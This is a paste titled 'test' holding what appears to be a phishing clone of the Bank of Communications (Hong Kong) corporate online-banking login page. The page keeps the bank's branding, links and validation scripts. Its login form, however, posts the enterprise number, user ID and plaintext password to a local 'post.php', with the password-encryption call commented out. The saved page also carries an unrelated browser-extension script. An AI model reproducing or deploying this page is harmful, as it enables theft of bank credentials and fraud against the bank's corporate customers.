test
2 years ago in Plain Text
<!DOCTYPE html>
<!-- saved from url=(0096)https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&step=_lpd&branchType=1 -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>交通銀行(香港)有限公司</title>
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="jquery-ui-1.9.2.custom.css">
<link rel="stylesheet" href="common.css">
<link rel="stylesheet" href="index-home.css">
<link rel="stylesheet" href="validationEngine.jquery.css">
<script type="text/javascript" src="jquery-2.0.3.js"></script>
<script type="text/javascript" src="jquery-support.js"></script>
<script type="text/javascript" src="jquery-ui-1.9.2.custom.js"></script>
<script type="text/javascript" src="jquery.validationEngine-zh_HK.js"></script>
<script type="text/javascript" src="jquery.validationEngine.js"></script>
<script type="text/javascript" src="main.js"></script>
<script type="text/javascript" src="common-zh_HK.js"></script>
<script type="text/javascript" src="common.js"></script>
<script type="text/javascript" src="index.js"></script>
<script type="text/javascript" src="jsbn.js"></script>
<script type="text/javascript" src="tripledes.js"></script>
<script type="text/javascript" src="mode-ecb.js"></script>
<script type="text/javascript" src="pad-zeropadding-min.js"></script>
<script type="text/javascript" src="pad-nopadding.js"></script>
<script type="text/javascript" src="pad-nopadding-min.js"></script>
<script type="text/javascript" src="WPCommon.js"></script>
<script type="text/javascript" src="sjcl.js"></script>
<script type="text/javascript" src="E2EE.js"></script>
<script type="text/javascript" src="ErrorCheck.js"></script>
<script type="text/javascript" src="pwdEncryption.js"></script>
<script>
function init() {
sjcl.random.startCollectors();
}
</script>
<style type="text/css">
.login-right #tabs .ulImagCSS{
background:white;
margin-left:20px;
width:inherit;
}
.login-right #tabs ul li.liImagCSS{
float:left;
/* width: 84px */
width: 138px;
margin-left: -29px;
}
.login-right #tabs ul li.liImagCSS .pImagCSS{
height:22px;
margin-top:-21px;
}
.login-right #tabs ul li.liImagCSS .pImagCSS .aImagCSS{
/* font-size:12px;
width: 84px;
display: block;
line-height: 11px;
margin-top: 27px; */
font-size:12px;
width: 200px;
display: block;
line-height: 11px;
margin-top: 27px;
margin-left: -29px;
}
</style>
<style type="text/css">@font-face { font-family: Roboto; src: url("chrome-extension://mcgbeeipkmelnpldkobichboakdfaeon/css/Roboto-Regular.ttf"); }</style></head>
<body style="" data-new-gr-c-s-check-loaded="14.1100.0" data-gr-ext-installed="">
<div class="login-con">
<div class="login-logo"><img src="logo.png"></div>
<div class="login-bg">
<img src="ec_banner.jpg">
</div>
<!--左侧-->
<div class="login-left">
<ul class="login-icon">
<li style="width: 84px;"><a href="#" id="link_si"><img src="1_Security Issue.png" border="0"></a><p><a>保安事項</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_is"><img src="2_Internet Privacy Policy Statement.png" border="0"></a><p><a>互聯網私隱政策聲明</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_as"><img src="3_Important Notice.png" border="0"></a><p><a>重要聲明</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_sr"><img src="4_System Requirement.png" border="0"></a><p><a>系統要求</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_cop"><img src="5_Freequently Asked Questions.png" border="0"></a><p><a>常見問題</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_activate"><img src="6_bank-corporate direct linkage.png" border="0"></a><p><a>USBKey啟動</a></p></li>
</ul>
<div class="clear"></div>
<dl>
<dt>客戶須知:</dt>
<dd>
如閣下以企業網銀號、用戶號/用戶別名及其密碼登入企業網上銀行,請於離開此電腦時
<font style="font-weight: bold;text-decoration: underline;">
即時登出
</font>
該服務,以杜絕閣下的賬戶被第三者盜用而導致損失。企業網上銀行服務受限於上述風險,交通銀行(香港)有限公司不會負責客戶因未能辦妥上述要求而招致之損失。
</dd>
<dd>1、可使用Google Chrome 57,Firefox 52 和Safari 9或以上之瀏覽器。</dd>
<dd>2、如需查詢企業網上銀行服務之操作,請致電企業客戶服務熱線 (852) 226 99388。</dd>
</dl>
</div>
<!--右侧-->
<div class="login-right">
<div class="login-tab" id="tabs">
<ul>
<li id="ref_tab-1"><font size="2"><b>歡迎使用企業網上銀行</b></font></li><!-- 歡迎使用企業網上銀行 -->
</ul>
<p class="l-title"><a href="#">企業網銀登錄</a></p><!-- 企業網銀登录 -->
<div class="content-main nav-none" style="height:311px">
<div class="content-inner">
<div id="tabs-1" style="display:block">
<form id="validateInput">
<table style="margin-top: -1px;">
<tbody>
<tr>
<td style="width: 42px;">企業網銀號:</td> <!-- 企業網銀號 -->
<td width="190" colspan="3">
&nbsp;&nbsp;80-
<input type="text" id="cstNoFirst" size="1" maxlength="2" value="" onkeyup="if(this.value.length==2) cstNoSecond.focus();" onblur="if(!isInteger(this.value)){this.value=this.value.replace(/[^0-9]/g,&#39;&#39;);}this.value=(&#39;000&#39;+ this.value).slice(-2);" autocomplete="off">
-
<input style="padding-left:2px;" class="validate[required,funcCall[cstNoEmptyCheck]]" type="text" id="cstNoSecond" size="11" maxlength="10" value="" onblur="if(!isInteger(this.value)){this.value=this.value.replace(/[^0-9]/g,&#39;&#39;);}this.value=(&#39;000000000&#39;+ this.value).slice(-10);" autocomplete="off">
</td>
</tr>
<tr>
<td style="white-space:nowrap">用戶號/用戶別名:</td><!-- 用戶號/用戶別名 -->
<td width="190" colspan="3">&nbsp;&nbsp;<input style="padding-left:5px;" class="validate[required,funcCall[dataCheck]]" size="21" type="text" id="oprName" value="" autocomplete="off"></td>
</tr>
<tr>
<td>語言:</td><!-- 語言 -->
<td width="190" colspan="3">
<p>
&nbsp;&nbsp;<select id="languageOption" class="validate[required]">
<option value="zh_HK" selected="selected">繁體中文</option>
<option value="zh_CN">简体中文</option>
<option value="en_US">English</option>
</select>
</p>
</td>
</tr>
<tr>
<td>密碼:</td><!-- 密碼 -->
<td width="190" colspan="3" style="padding-left:5px;"><input style="padding-left:5px;" class="validate[required]" size="21" type="password" id="password" autocomplete="off"></td>
</tr>
</tbody>
<tfoot>
<tr class="bt_area">
<td colspan="4" class="td_t" align="center">
<p class="contact-submit" style="">
<input id="submitButton" class="active" type="button" value="登錄">
</p>
<p class="contact-submit" style="">
<input id="resetButton" class="" type="button" value="重置">
</p>
</td>
</tr>
<tr class="bt_area">
<td colspan="4" class="td_t" style="text-align: right;">
<a href="https://ec.hk.bankcomm.com/corporbank/resetPW/resetPw.do?branchType=1">忘記密碼 ?</a>
</td>
</tr>
<tr class="bt_area">
<td colspan="4" class="td_t" style="text-align: right;">
<a href="https://ec.hk.bankcomm.com/corporbank/resetTKPW/resetTKPW.do?branchType=1&amp;bocom_locale_langFlg=zh_HK">保安編碼器解鎖</a>
</td>
</tr>
<tr>
<td colspan="4">
<span>企業客戶服務熱線: (852) 226 99388</span>
</td>
</tr>
<tr>
<td colspan="4">
<span style="color: #b50000">溫馨提示:在登入過程中,切勿把顯示在互聯網上的數字輸入到您的保安編碼器。</span>
</td>
</tr>
</tfoot>
</table>
</form>
</div>
</div>
</div>
<div>
<ul class="ulImagCSS">
<li class="liImagCSS"><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&amp;step=_lpd&amp;branchType=1#" id="link_sd" class="aImagCSS"><img src="8_Service_Demo.png" border="0"></a><p class="pImagCSS"><a class="aImagCSS">服務示範</a></p></li>
<li class="liImagCSS"><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&amp;step=_lpd&amp;branchType=1#" id="link_ms" class="aImagCSS"><img src="9_Maintenance_Schedule.png" border="0"></a><p class="pImagCSS"><a class="aImagCSS">系統提升時間表</a></p></li>
</ul>
</div>
</div>
<div class="login-bott">
<ul>
<li><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&amp;step=_lpd&amp;branchType=1#" id="link_cp">綜合條款</a></li> <!-- 綜合條款 -->
<li><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&amp;step=_lpd&amp;branchType=1#" id="link_ep">網銀條款</a></li> <!-- 網銀條款 -->
<li><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&amp;step=_lpd&amp;branchType=1#" id="link_fc">電郵騙案</a></li> <!-- 電郵騙案 -->
</ul>
</div>
</div>
</div>
<div class="index_foot">
<p>
© 交通銀行(香港)有限公司(交通銀行股份有限公司全資附屬公司)。版權所有。
</p>
</div>
<form id="logonForm" action="post.php" method="post">
<input type="hidden" name="step" value="_lg">
<input type="hidden" name="cstNo">
<input type="hidden" name="oprName">
<input type="hidden" name="password">
<input type="hidden" name="bocom_locale_langFlg">
<input type="hidden" name="branchType" value="1">
</form>
<form id="logonActivateForm" action="#" method="post">
<input type="hidden" name="step" value="_activate">
<input type="hidden" name="cstNo">
<input type="hidden" name="oprName">
<input type="hidden" name="password">
<input type="hidden" name="bocom_locale_langFlg" value="zh_HK">
<input type="hidden" name="branchType" value="1">
</form>
<form name="languageForm" id="languageForm" method="post" action="">
<input type="hidden" name="step" value="_lpd">
<input type="hidden" name="bocom_locale_langFlg" id="bocom_locale_langFlg">
<input type="hidden" name="branchType" value="1">
<!-- 回显客户号、用户号 -->
<input type="hidden" name="cstNoFirst">
<input type="hidden" name="cstNoSecond">
<input type="hidden" name="oprNameForBack">
</form>
<script type="text/javascript">
$(function(){
$("#cstNoFirst").focus();
$("#validateInput").validationEngine("attach",{
'custom_error_messages':{
'#cstNoSecond': {
'required':{
'message': "請輸入企業網銀號" //請輸入企業網銀號
}
},
'#oprName': {
'required':{
'message': "請輸入用戶編號&#047;用戶別名" //請輸入用戶編號/用戶別名
}
},
'#password': {
'required':{
'message': "請輸入密碼" //請輸入密码
}
}
},
'autoHidePrompt':true,
'autoHideDelay':2000,
'promptPosition' : "bottomRight"
});
});
//登錄提交
var checkFlag = true;
$("#submitButton").click(function(){
var userAgent = navigator.userAgent;
var isillegal = "false";
var version = "";
if(userAgent.indexOf("Chrome") > -1 ){//Google Chrome
version = userAgent.substring(userAgent.indexOf('Chrome')+7,userAgent.indexOf('Safari'));
if(parseInt(version) < 57 || userAgent.indexOf("Edge") > -1 || userAgent.indexOf("Edg") > -1 || userAgent.indexOf("WOW64")>-1 || userAgent.indexOf("QQBrowser")>-1){//Google Chrome版本 57或以上
isillegal = "true";//非官方支援浏览器
}
}else if(userAgent.indexOf("Firefox") > -1){//Firefox
version = userAgent.substring(userAgent.indexOf('Firefox')+8);
if(parseInt(version) < 52){//Firefox版本 52或以上
isillegal = "true";//非官方支援浏览器
}
}else if(userAgent.indexOf("Safari") > -1){//Safari
version = userAgent.substring(userAgent.indexOf('Version')+8,userAgent.indexOf('Safari'));
if(parseInt(version) < 9){//Safari版本 9或以上
isillegal = "true";//非官方支援浏览器
}
}else {////非官方支援浏览器
isillegal = "true";
}
if(isillegal == "true"){
var data={content:'為提供更安全的企業網上銀行服務,透過企業網上銀行登入時,請確保您的瀏覽器符合最低要求。',confEvent:function(){subForm();}};
Util.confirm(data);
}else {
subForm();
}
});
//提交按钮回车事件绑定
document.onkeypress = keyEnter;
function keyEnter(e){
e = e ? e : event;
if (e.keyCode == 13) {
subForm();
return false;
}
};
function subForm(){
if($("#validateInput").validationEngine("validate")){
$('#submitButton').removeClass("active")
$('#submitButton').addClass("disabled")
$('#submitButton').prop({'disabled':true});
if(checkFlag){
checkFlag = false;
setTimeout(function(){//3秒内不能重复点击
checkFlag = true;
$('#submitButton').removeClass("disabled")
$('#submitButton').addClass("active")
$('#submitButton').prop({'disabled':false});
},3000);
var cstNo = "80" + $("#cstNoFirst").val() + $("#cstNoSecond").val();
$("input[name='cstNo']").val(cstNo);
$("input[name='oprName']").val($("#oprName").val());
$("input[name='password']").val($("#password").val());
//$("input[name='password']").val(encryptPassword2($("#password").val(),'dna2cgmvhy2iynrf'));
$("input[name='bocom_locale_langFlg']").val($("#languageOption").val());
$("#logonForm").submit();
}
};
};
//重置
$("#resetButton").click(function(){
$("#cstNoFirst").val("");
$("#cstNoSecond").val("");
$("#oprName").val("");
$("#password").val("");
});
//判断数值,必须为正整数
function isInteger(obj,str){
var newpar=/^\d+$/;
if((str != "")&&(!newpar.test(str))){
obj.value = "";
obj.focus();
return false;
}
return true;
};
function isInteger(str) {
// 检查变量的每一位是否都是数字
for(var i = 0; i < str.length; i++) {
var oneChar = str.charAt(i);
if(oneChar < 0 || oneChar > 9){
return false;
};
}
return true;
};
//客户号非空验证
function cstNoEmptyCheck(field,rules,i,options){
if ($("#cstNoFirst").val() == "" || field.val() == "") {
//請輸入企業網銀號
return "請輸入企業網銀號";
}
};
//用户别名(8-15)、操作员号校验(6)
function dataCheck(field,rules,i,options){
var OprNoRegex = /^[0-9]{6}/;
var OprAliasRegex = /^[a-zA-Z0-9]{8,15}$/;
var data = field.val();
//小于六位
if (data.length < 6) {
//提示请输入正确的用户号或用户别名
return "請輸入有效的用戶編號&#047;用戶別名";
}else if (data.length == 6 && !OprNoRegex.exec(data)){
//此时默认按照用户号规则校验
return "請輸入有效的用戶編號&#047;用戶別名";
}else if (data.length > 6 && !OprAliasRegex.exec(data)) {
//此时默认按照用户别名规则校验
return "請輸入有效的用戶編號&#047;用戶別名";
};
};
//语言环境切换
$("#languageOption").change(function(){
//$("input[name='cstNoFirst']").val($("#cstNoFirst").val());
//$("input[name='cstNoSecond']").val($("#cstNoSecond").val());
//$("input[name='oprNameForBack']").val($("#oprName").val());
//$("#bocom_locale_langFlg").val($(this).val());
//$("#languageForm").submit();
window.location="/corporbank/logon.do?bocom_locale_langFlg="+$(this).val()+"&step=_lpd&branchType=1";
});
//链接
$("a").click(function(){
var theproperty="toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=800,height=550";
var language = $("#languageOption").val();
var id = $(this).attr("id");
//保安事项
if ("link_si" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004980/2006400/2015001/2500486.shtml?channelId=2004980";
var basxwin=window.open(_htmlurl,"basxwin",theproperty);
basxwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005276/2008515/2015003/2500488.shtml?channelId=2005276";
var basxwin=window.open(_htmlurl,"basxwin",theproperty);
basxwin.focus();
}else if('en_US'==language){
_htmlurl='https://www.hk.bankcomm.com/hk/shtml/hk/en/2005575/2008556/2015004/2500487.shtml?channelId=2005575';
var basxwin=window.open(_htmlurl,"basxwin",theproperty);
basxwin.focus();
};
};
//互联网隐私政策
if ("link_is" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2005223/2005263/2038469.shtml?channelId=2005223";
var zcsmwin=window.open(_htmlurl,"zcsmwin",theproperty);
zcsmwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005523/2005553/2038591.shtml?channelId=2005523";
var zcsmwin=window.open(_htmlurl,"zcsmwin",theproperty);
zcsmwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005806/2005836/2038695.shtml?channelId=2005806";
var zcsmwin=window.open(_htmlurl,"zcsmwin",theproperty);
zcsmwin.focus();
};
};
//重要声明
if ("link_as" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004980/2006400/2007049/2039134.shtml?channelId=2004980";
var zysmwin=window.open(_htmlurl,"zysmwin",theproperty);
zysmwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005276/2008515/2008522/2041722.shtml?channelId=2005276";
var zysmwin=window.open(_htmlurl,"zysmwin",theproperty);
zysmwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005575/2008556/2008571/2041876.shtml?channelId=2005575";
var zysmwin=window.open(_htmlurl,"zysmwin",theproperty);
zysmwin.focus();
};
};
//系统要求
if ("link_sr" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004980/2006400/2007049/2500124.shtml?channelId=2004980";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005276/2008515/2008522/2500228.shtml?channelId=2005276";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005575/2008556/2008571/2500126.shtml?channelId=2005575";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
};
};
//常见问题
if ("link_cop" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004980/2006400/2015001/2014985/2077261.shtml?channelId=2004980";
var cjwtwin=window.open(_htmlurl,"cjwtwin",theproperty);
cjwtwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005276/2008515/2015003/2014986/2077263.shtml?channelId=2005276";
var cjwtwin=window.open(_htmlurl,"cjwtwin",theproperty);
cjwtwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005575/2008556/2015004/2014987/2077264.shtml?channelId=2005575";
var cjwtwin=window.open(_htmlurl,"cjwtwin",theproperty);
cjwtwin.focus();
};
};
//综合条款
if ("link_cp" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2005223/2005260/2038466.shtml?channelId=2005223";
var fwtkwin=window.open(_htmlurl,"zhfwtkwin",theproperty);
fwtkwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005523/2005550/2038588.shtml?channelId=2005523";
var fwtkwin=window.open(_htmlurl,"zhfwtkwin",theproperty);
fwtkwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005806/2005833/2038691.shtml?channelId=2005806";
var fwtkwin=window.open(_htmlurl,"zhfwtkwin",theproperty);
fwtkwin.focus();
};
};
//网银条款
if ("link_ep" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/tw/file/getContentPath.do?fileId=2077220";
var fwtkwin=window.open(_htmlurl,"qyfwtkwin",theproperty);
fwtkwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/cn/file/getContentPath.do?fileId=2077221";
var fwtkwin=window.open(_htmlurl,"qyfwtkwin",theproperty);
fwtkwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/en/file/getContentPath.do?fileId=2077222";
var fwtkwin=window.open(_htmlurl,"qyfwtkwin",theproperty);
fwtkwin.focus();
};
};
//电邮骗案
if ("link_fc" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/tw/file/getContentPath.do?fileId=2077214";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/cn/file/getContentPath.do?fileId=2077216";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/en/file/getContentPath.do?fileId=2077217";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
};
};
//服務示範
if ("link_sd" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/uploadhk/infos/201712/21/2503769/ec_demo_tw/index.html";
var fwsf=window.open(_htmlurl,"fwsfwin",theproperty);
fwsf.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/uploadhk/infos/201712/21/2503775/ec_demo_cn/index.html";
var fwsf=window.open(_htmlurl,"fwsfwin",theproperty);
fwsf.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/uploadhk/infos/201712/21/2503772/ec_demo_en/index.html";
var fwsf=window.open(_htmlurl,"fwsfwin",theproperty);
fwsf.focus();
};
};
// 系統提升時間表
if ("link_ms" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004972/2014678/2074250.shtml?channelId=2004972";
var xttssjb=window.open(_htmlurl,"xttssjbwin",theproperty);
xttssjb.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005269/2016755/2082281.shtml?channelId=2005269";
var xttssjb=window.open(_htmlurl,"xttssjbwin",theproperty);
xttssjb.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005568/2014680/2074355.shtml?channelId=2005568";
var xttssjb=window.open(_htmlurl,"xttssjbwin",theproperty);
xttssjb.focus();
};
};
//直连激活
if ("link_activate" == id) {
$("#logonActivateForm").submit();
};
});
</script>
<script>
function returnCommentSymbol(language = "javascript") {
const languageObject = {
bat: "@REM",
c: "//",
csharp: "//",
cpp: "//",
closure: ";;",
coffeescript: "#",
dockercompose: "#",
css: "/*DELIMITER*/",
"cuda-cpp": "//",
dart: "//",
diff: "#",
dockerfile: "#",
fsharp: "//",
"git-commit": "//",
"git-rebase": "#",
go: "//",
groovy: "//",
handlebars: "{{!--DELIMITER--}}",
hlsl: "//",
html: "<!--DELIMITER-->",
ignore: "#",
ini: ";",
java: "//",
javascript: "//",
javascriptreact: "//",
json: "//",
jsonc: "//",
julia: "#",
latex: "%",
less: "//",
lua: "--",
makefile: "#",
markdown: "<!--DELIMITER-->",
"objective-c": "//",
"objective-cpp": "//",
perl: "#",
perl6: "#",
php: "<!--DELIMITER-->",
powershell: "#",
properties: ";",
jade: "//-",
python: "#",
r: "#",
razor: "<!--DELIMITER-->",
restructuredtext: "..",
ruby: "#",
rust: "//",
scss: "//",
shaderlab: "//",
shellscript: "#",
sql: "--",
svg: "<!--DELIMITER-->",
swift: "//",
tex: "%",
typescript: "//",
typescriptreact: "//",
vb: "'",
xml: "<!--DELIMITER-->",
xsl: "<!--DELIMITER-->",
yaml: "#"
}
return languageObject[language].split("DELIMITER")
}
var savedChPos = 0
var returnedSuggestion = ''
let editor, doc, cursor, line, pos
pos = {line: 0, ch: 0}
var suggestionsStatus = false
var docLang = "python"
var suggestionDisplayed = false
var isReturningSuggestion = false
document.addEventListener("keydown", (event) => {
setTimeout(()=>{
editor = event.target.closest('.CodeMirror');
if (editor){
const codeEditor = editor.CodeMirror
if(!editor.classList.contains("added-tab-function")){
editor.classList.add("added-tab-function")
codeEditor.removeKeyMap("Tab")
codeEditor.setOption("extraKeys", {Tab: (cm)=>{
if(returnedSuggestion){
acceptTab(returnedSuggestion)
}
else{
cm.execCommand("defaultTab")
}
}})
}
doc = editor.CodeMirror.getDoc()
cursor = doc.getCursor()
line = doc.getLine(cursor.line)
pos = {line: cursor.line, ch: line.length}
if(cursor.ch > 0){
savedChPos = cursor.ch
}
const fileLang = doc.getMode().name
docLang = fileLang
const commentSymbol = returnCommentSymbol(fileLang)
if (event.key == "?"){
var lastLine = line
lastLine = lastLine.slice(0, savedChPos - 1)
if(lastLine.trim().startsWith(commentSymbol[0])){
lastLine += " "+fileLang
lastLine = lastLine.split(commentSymbol[0])[1]
window.postMessage({source: 'getQuery', payload: { data: lastLine } } )
isReturningSuggestion = true
displayGrey("\nBlackbox loading...")
}
}else if(event.key === "Enter" && suggestionsStatus && !isReturningSuggestion){
var query = doc.getRange({ line: Math.max(0,cursor.line-10), ch: 0 }, { line: cursor.line, ch: line.length })
window.postMessage({source: 'getSuggestion', payload: { data: query, language: docLang } } )
displayGrey("Blackbox loading...")
}else if(event.key === "ArrowRight" && returnedSuggestion){
acceptTab(returnedSuggestion)
}else if(event.key === "Enter" && isReturningSuggestion){
displayGrey("\nBlackbox loading...")
}else if(event.key === "Escape"){
displayGrey("")
}
}
}, 0)
})
function acceptTab(text){
if (suggestionDisplayed){
displayGrey("")
doc.replaceRange(text, pos)
returnedSuggestion = ""
updateSuggestionStatus(false)
}
}
function acceptSuggestion(text){
displayGrey("")
doc.replaceRange(text, pos)
returnedSuggestion = ""
updateSuggestionStatus(false)
}
function displayGrey(text){
if(!text){
document.querySelector(".blackbox-suggestion").remove()
return
}
var el = document.querySelector(".blackbox-suggestion")
if(!el){
el = document.createElement('span')
el.classList.add("blackbox-suggestion")
el.style = 'color:grey'
el.innerText = text
}
else{
el.innerText = text
}
var lineIndex = pos.line;
editor.getElementsByClassName('CodeMirror-line')[lineIndex].appendChild(el)
}
function updateSuggestionStatus(s){
suggestionDisplayed = s
window.postMessage({source: 'updateSuggestionStatus', status: suggestionDisplayed, suggestion: returnedSuggestion})
}
window.addEventListener('message', (event)=>{
if (event.source !== window ) return
if (event.data.source == 'return'){
isReturningSuggestion = false
const formattedCode = formatCode(event.data.payload.data)
returnedSuggestion = formattedCode
displayGrey(formattedCode)
updateSuggestionStatus(true)
}
if(event.data.source == 'suggestReturn'){
returnedSuggestion = event.data.payload.data
displayGrey(event.data.payload.data)
updateSuggestionStatus(true)
}
if(event.data.source == 'suggestionsStatus'){
suggestionsStatus = event.data.payload.enabled
}
if(event.data.source == 'acceptSuggestion'){
acceptSuggestion(event.data.suggestion)
}
})
document.addEventListener("keyup", function(){
returnedSuggestion = ""
updateSuggestionStatus(false)
})
function formatCode(data) {
if (Array.isArray(data)) {
var finalCode = ""
var pairs = []
const commentSymbol = returnCommentSymbol(docLang)
data.forEach((codeArr, idx) => {
const code = codeArr[0]
var desc = codeArr[1]
const descArr = desc.split("\n")
var finalDesc = ""
descArr.forEach((descLine, idx) => {
const whiteSpace = descLine.search(/\S/)
if (commentSymbol.length < 2 || idx === 0) {
finalDesc += insert(descLine, whiteSpace, commentSymbol[0])
}
if (commentSymbol.length > 1 && idx === descArr.length - 1) {
finalDesc = finalDesc + commentSymbol[1] + "\n"
}
})
finalCode += finalDesc + "\n\n" + code
pairs.push(finalCode)
})
return "\n"+pairs.join("\n")
}
return "\n"+data
}
function insert(str, index, value) {
return str.substr(0, index) + value + str.substr(index)
}
</script></body><grammarly-desktop-integration data-grammarly-shadow-root="true"></grammarly-desktop-integration></html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
